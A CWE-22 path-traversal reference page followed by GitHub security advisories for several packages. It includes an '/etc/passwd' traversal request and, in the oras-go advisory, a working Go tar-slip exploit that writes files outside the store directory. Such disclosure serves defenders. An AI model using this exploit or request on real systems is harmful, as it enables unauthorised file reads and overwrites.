CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
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updated Potential_Mitigations
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updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
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updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
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updated Other_Notes, Research_Gaps
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updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
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16053 vulnerabilities reference this CWE, most recent first.
GHSA-M335-63M5-3FHM
Vulnerability from github – Published: 2026-09-02 03:31 – Updated: 2026-09-02 03:31A vulnerability was detected in AirAsia MOVE App up to 12.47.1 on Android. This issue affects the function com.airasia.core.utils.RealPathUtil.getRealPath of the component com.airasia.mobile. Performing a manipulation of the argument _display_name results in path traversal. The attack requires a local approach. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-84431"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T02:17:19Z",
"severity": "LOW"
},
"details": "A vulnerability was detected in AirAsia MOVE App up to 12.47.1 on Android. This issue affects the function com.airasia.core.utils.RealPathUtil.getRealPath of the component com.airasia.mobile. Performing a manipulation of the argument _display_name results in path traversal. The attack requires a local approach. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-m335-63m5-3fhm",
"modified": "2026-09-02T03:31:12Z",
"published": "2026-09-02T03:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84431"
},
{
"type": "WEB",
"url": "https://docs.google.com/document/d/19qRCn6NWF2UE4urLXMXKgW555PHhnQiw/edit?usp=sharing\u0026ouid=100768766778062598194\u0026rtpof=true\u0026sd=true"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-84431"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/884138"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397798"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/397798/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M33V-338H-4V9F
Vulnerability from github – Published: 2021-02-26 16:31 – Updated: 2021-02-26 16:23Impact
This vulnerability allows arbitrary path traversal via the Projects API.
If the Projects feature is enabled, a user with projects.read permission is able to access any file via the Projects API.
Patches
The issue has been patched in Node-RED 1.2.8
Workarounds
The vulnerability applies only to the Projects feature which is not enabled by default in Node-RED.
The primary workaround is not give untrusted users read access to the Node-RED editor.
For more information
If you have any questions or comments about this advisory: * Email us at team@nodered.org
Acknowledgements
Thanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@node-red/runtime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-21298"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-02-26T16:23:34Z",
"nvd_published_at": "2021-02-26T17:15:00Z",
"severity": "LOW"
},
"details": "### Impact\n\nThis vulnerability allows arbitrary path traversal via the Projects API.\n\nIf the Projects feature is enabled, a user with `projects.read` permission is able to access any file via the Projects API.\n\n### Patches\n\nThe issue has been patched in Node-RED 1.2.8\n\n### Workarounds\n\nThe vulnerability applies only to the Projects feature which is not enabled by default in Node-RED.\n\nThe primary workaround is not give untrusted users read access to the Node-RED editor.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@nodered.org](mailto:team@nodered.org)\n\n### Acknowledgements\n\nThanks to the Tencent Woodpecker Security Team for disclosing this vulnerability.",
"id": "GHSA-m33v-338h-4v9f",
"modified": "2021-02-26T16:23:34Z",
"published": "2021-02-26T16:31:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/node-red/node-red/security/advisories/GHSA-m33v-338h-4v9f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21298"
},
{
"type": "WEB",
"url": "https://github.com/node-red/node-red/commit/74db3e17d075f23d9c95d7871586cf461524c456"
},
{
"type": "WEB",
"url": "https://github.com/node-red/node-red/releases/tag/1.2.8"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/@node-red/runtime"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Path traversal in Node-Red"
}
GHSA-M343-65M6-2R6J
Vulnerability from github – Published: 2025-01-14 15:30 – Updated: 2025-01-14 15:30A improper limitation of a pathname to a restricted directory ('path traversal') [CWE-23] in Fortinet FortiRecorder version 7.2.0 through 7.2.1 and before 7.0.4 allows a privileged attacker to delete files from the underlying filesystem via crafted CLI requests.
{
"affected": [],
"aliases": [
"CVE-2024-47566"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-14T14:15:32Z",
"severity": "MODERATE"
},
"details": "A improper limitation of a pathname to a restricted directory (\u0027path traversal\u0027) [CWE-23] in Fortinet FortiRecorder version 7.2.0 through 7.2.1 and before 7.0.4 allows a privileged attacker to delete files from the underlying filesystem via crafted CLI requests.",
"id": "GHSA-m343-65m6-2r6j",
"modified": "2025-01-14T15:30:54Z",
"published": "2025-01-14T15:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47566"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-401"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M34Q-H93W-VG5X
Vulnerability from github – Published: 2026-04-07 18:14 – Updated: 2026-04-28 18:17Summary
Before OpenClaw 2026.4.2, the OpenShell mirror backend accepted arbitrary absolute remoteWorkspaceDir and remoteAgentWorkspaceDir values. In mirror mode, those paths were then used as the target of remote cleanup and overwrite operations.
Impact
If an attacker could influence those OpenShell config values, mirror sync could delete the contents of an unintended remote directory and replace them with uploaded workspace data. This was a destructive remote-path bug in the mirror-sync path.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.4.1 - Patched versions:
>= 2026.4.2 - Latest published npm version:
2026.4.1
Fix Commit(s)
b21c9840c2e38f4bb338d031511b479d5f07ca25— constrain OpenShell mirror sync roots
Release Process Note
The fix is present on main and is staged for OpenClaw 2026.4.2. Publish this advisory after the 2026.4.2 npm release is live.
Thanks @jufeng123768 for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.4.1"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41383"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-07T18:14:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nBefore OpenClaw 2026.4.2, the OpenShell mirror backend accepted arbitrary absolute `remoteWorkspaceDir` and `remoteAgentWorkspaceDir` values. In mirror mode, those paths were then used as the target of remote cleanup and overwrite operations.\n\n## Impact\n\nIf an attacker could influence those OpenShell config values, mirror sync could delete the contents of an unintended remote directory and replace them with uploaded workspace data. This was a destructive remote-path bug in the mirror-sync path.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.4.1`\n- Patched versions: `\u003e= 2026.4.2`\n- Latest published npm version: `2026.4.1`\n\n## Fix Commit(s)\n\n- `b21c9840c2e38f4bb338d031511b479d5f07ca25` \u2014 constrain OpenShell mirror sync roots\n\n## Release Process Note\n\nThe fix is present on `main` and is staged for OpenClaw `2026.4.2`. Publish this advisory after the `2026.4.2` npm release is live.\n\nThanks @jufeng123768 for reporting.",
"id": "GHSA-m34q-h93w-vg5x",
"modified": "2026-04-28T18:17:19Z",
"published": "2026-04-07T18:14:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m34q-h93w-vg5x"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/b21c9840c2e38f4bb338d031511b479d5f07ca25"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: OpenShell mirror mode could delete arbitrary remote directories when roots were mis-scoped"
}
GHSA-M34X-WGRH-G897
Vulnerability from github – Published: 2018-01-24 19:38 – Updated: 2022-04-28 20:13Next.js 4 before 4.2.3 has Directory Traversal under the /_next request namespace.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "next"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "4.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-6184"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:44:41Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Next.js 4 before 4.2.3 has Directory Traversal under the `/_next` request namespace.",
"id": "GHSA-m34x-wgrh-g897",
"modified": "2022-04-28T20:13:30Z",
"published": "2018-01-24T19:38:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6184"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-m34x-wgrh-g897"
},
{
"type": "WEB",
"url": "https://github.com/vercel/next.js/releases/tag/4.2.3"
},
{
"type": "PACKAGE",
"url": "https://github.com/zeit/next.js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Directory traversal vulnerability in Next.js"
}
GHSA-M354-CJ5J-HJP9
Vulnerability from github – Published: 2022-03-01 00:00 – Updated: 2022-03-17 00:04qrcp through 0.8.4, in receive mode, allows ../ Directory Traversal via the file name specified by the uploader.
{
"affected": [],
"aliases": [
"CVE-2022-26315"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-28T19:15:00Z",
"severity": "MODERATE"
},
"details": "qrcp through 0.8.4, in receive mode, allows ../ Directory Traversal via the file name specified by the uploader.",
"id": "GHSA-m354-cj5j-hjp9",
"modified": "2022-03-17T00:04:41Z",
"published": "2022-03-01T00:00:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26315"
},
{
"type": "WEB",
"url": "https://github.com/claudiodangelis/qrcp/issues/223"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M362-87JC-F39V
Vulnerability from github – Published: 2020-09-01 18:16 – Updated: 2023-09-05 23:04Affected versions of uv-tj-demo resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "uv-tj-demo"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-16200"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:22:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Affected versions of `uv-tj-demo` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.",
"id": "GHSA-m362-87jc-f39v",
"modified": "2023-09-05T23:04:08Z",
"published": "2020-09-01T18:16:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16200"
},
{
"type": "WEB",
"url": "https://github.com/JacksonGL/NPM-Vuln-PoC/blob/master/directory-traversal/uv-tj-demo"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/428"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Directory Traversal in uv-tj-demo"
}
GHSA-M37F-QR93-P7WV
Vulnerability from github – Published: 2024-08-12 18:30 – Updated: 2024-08-13 18:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in OpenText OpenText Directory Services allows Path Traversal.This issue affects OpenText Directory Services: from 16.4.2 before 24.1.
{
"affected": [],
"aliases": [
"CVE-2023-7249"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-12T16:15:14Z",
"severity": "MODERATE"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in OpenText OpenText Directory Services allows Path Traversal.This issue affects OpenText Directory Services: from 16.4.2 before 24.1.",
"id": "GHSA-m37f-qr93-p7wv",
"modified": "2024-08-13T18:31:14Z",
"published": "2024-08-12T18:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7249"
},
{
"type": "WEB",
"url": "https://support.opentext.com/csm?id=kb_article_view\u0026sysparm_article=KB0807814"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:D/RE:L/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-M37J-52J7-PJW7
Vulnerability from github – Published: 2026-09-17 17:15 – Updated: 2026-09-17 17:15Summary
The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration — a canonical tar-slip → RCE primitive.
Details
Affected versions: <= v2.6.1
Entry point: content/file/file.go line 486, (*Store).pushDir — reached from (*Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.
Root cause 1 — lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
// resolve link
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target)
}
// ensure path is under baseAbs or baseRel
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil
}
filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.
Root cause 2 — parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:
// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
...
} else if info.Mode()&os.ModeSymlink != 0 {
return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
}
dir = filepath.Dir(dir)
}
For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes — the entry itself is never Lstat-checked.
Root cause 3 — write follows symlinks. content/file/utils.go line 279, writeFile:
file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)
No O_NOFOLLOW, so if path is a symlink the write goes to its target.
Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:
Nnested directories<title>/d0/d1/…/d{N-1}.- A symlink
<title>/d0/…/d{N-1}/up→"../../…"(Nlevels). Both lexically and on disk this resolves tobaseAbs, soensureLinkPathaccepts it andresolveRelToBasesees only real directories in its ancestry. - A symlink
<title>/escape→"d0/…/d{N-1}/up/../../…/<absTarget>"(N..components afterup). Lexically,filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>")cancels theN..againstupplusd{N-2}…d0, yieldingbaseAbs/d0/<absTarget>— inside the root, soensureLinkPathaccepts it.resolveRelToBasethen walksd0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolvingbaseAbs/d0/…/upfirst followsupback tobaseAbs, and the remainingN..components climb frombaseAbsto/, then<absTarget>is appended — the symlink points at the attacker-chosen absolute path. - A regular file
<title>/escape(same name).resolveRelToBase("escape")yieldsdir == "."(root cause 2), so noLstatis performed.extractTarDirectory(line 181) callswriteFilewhich opensbaseAbs/escapewithO_TRUNCand noO_NOFOLLOW(root cause 3), writing the attacker's payload through the symlink to<absTarget>.
Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDir → extractTarGzip → extractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.
Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with O_NOFOLLOW (or O_EXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVE_BENEATH) / os.Root (Go 1.24+) for all filesystem operations.
PoC
go mod init poc
go get oras.land/oras-go/v2@v2.6.1
go run .
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
_ "crypto/sha256"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/opencontainers/go-digest"
ocispec "github.com/opencontainers/image-spec/specs-go/v1"
"oras.land/oras-go/v2/content/file"
)
func main() {
if err := run(); err != nil {
fmt.Println("ERROR:", err)
os.Exit(1)
}
}
func run() error {
ctx := context.Background()
// Victim's working directory for the file store.
workDir, err := os.MkdirTemp("", "oras-victim-*")
if err != nil {
return err
}
defer os.RemoveAll(workDir)
fmt.Println("[*] file.Store working dir:", workDir)
// Target path the attacker wants to write, OUTSIDE workDir.
// (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
// a temp path keeps the demo self-contained.)
outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
_ = os.Remove(outsidePath)
defer os.Remove(outsidePath)
fmt.Println("[*] attacker target (outside workDir):", outsidePath)
// The layer's AnnotationTitle. extractTarDirectory uses this as both the
// in-tar prefix and the on-disk subdir under workDir.
const title = "out"
baseAbs := filepath.Join(workDir, title)
// N nested dirs + a symlink "up" -> N*"../" so that after the kernel
// follows "up" (landing at baseAbs) the remaining N lexical ".."
// components climb from baseAbs to "/". N must be >= depth(baseAbs).
depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/"))
fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth)
gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)
if err != nil {
return err
}
// Descriptor exactly as it would appear in a manifest's "layers" array.
desc := ocispec.Descriptor{
MediaType: "application/vnd.oci.image.layer.v1.tar+gzip",
Digest: dgst,
Size: size,
Annotations: map[string]string{
ocispec.AnnotationTitle: title,
file.AnnotationUnpack: "true",
},
}
// Victim creates a file store with default settings (path traversal DISALLOWED).
store, err := file.New(workDir)
if err != nil {
return err
}
defer store.Close()
fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite)
// This is exactly what oras.Copy() invokes per layer.
if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {
return fmt.Errorf("Push: %w", err)
}
// Check whether the out-of-tree file was written.
if data, err := os.ReadFile(outsidePath); err == nil {
rel, _ := filepath.Rel(workDir, outsidePath)
fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath)
fmt.Printf("[!] relative to workDir: %s\n", rel)
fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir")
return nil
}
fmt.Println("\n[-] no escape (file not created at", outsidePath, ")")
return nil
}
// buildMaliciousLayer builds a tar.gz that, when extracted by
// content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath.
func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {
var buf bytes.Buffer
gzw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gzw)
// 1. Nested directories: title/d0/d1/.../d{depth-1}
dirs := make([]string, depth)
for i := 0; i < depth; i++ {
dirs[i] = fmt.Sprintf("d%d", i)
}
for i := 1; i <= depth; i++ {
name := title + "/" + strings.Join(dirs[:i], "/")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {
return nil, "", 0, err
}
}
// 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../".
// Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.
upName := title + "/" + strings.Join(dirs, "/") + "/up"
upTarget := strings.Repeat("../", depth-1) + ".."
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 3. "escape" symlink at title/escape.
// Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath>
// LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving
// d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it.
// KERNEL: d0/.../up follows the symlink to baseAbs, then N*".."
// climbs to "/", then appends outsidePath.
dots := strings.Repeat("../", depth-1) + ".."
escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil {
return nil, "", 0, err
}
// 4. Regular file entry at title/escape - same path as the symlink.
// resolveRelToBase("escape") has dir=="." so the per-component Lstat
// loop never runs; writeFile opens with O_CREATE|O_TRUNC (no
// O_NOFOLLOW) and writes through the symlink to outsidePath.
payload := []byte("PWNED-BY-ORAS-TARSLIP")
if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil {
return nil, "", 0, err
}
if _, err := tw.Write(payload); err != nil {
return nil, "", 0, err
}
if err := tw.Close(); err != nil {
return nil, "", 0, err
}
if err := gzw.Close(); err != nil {
return nil, "", 0, err
}
data := buf.Bytes()
return data, digest.FromBytes(data), int64(len(data)), nil
}
Expected output (paths vary):
[*] file.Store working dir: /tmp/oras-victim-209731351
[*] attacker target (outside workDir): /tmp/oras-PWNED
[*] baseAbs depth = 3, building 3 nested dirs
[*] store.AllowPathTraversalOnWrite = false
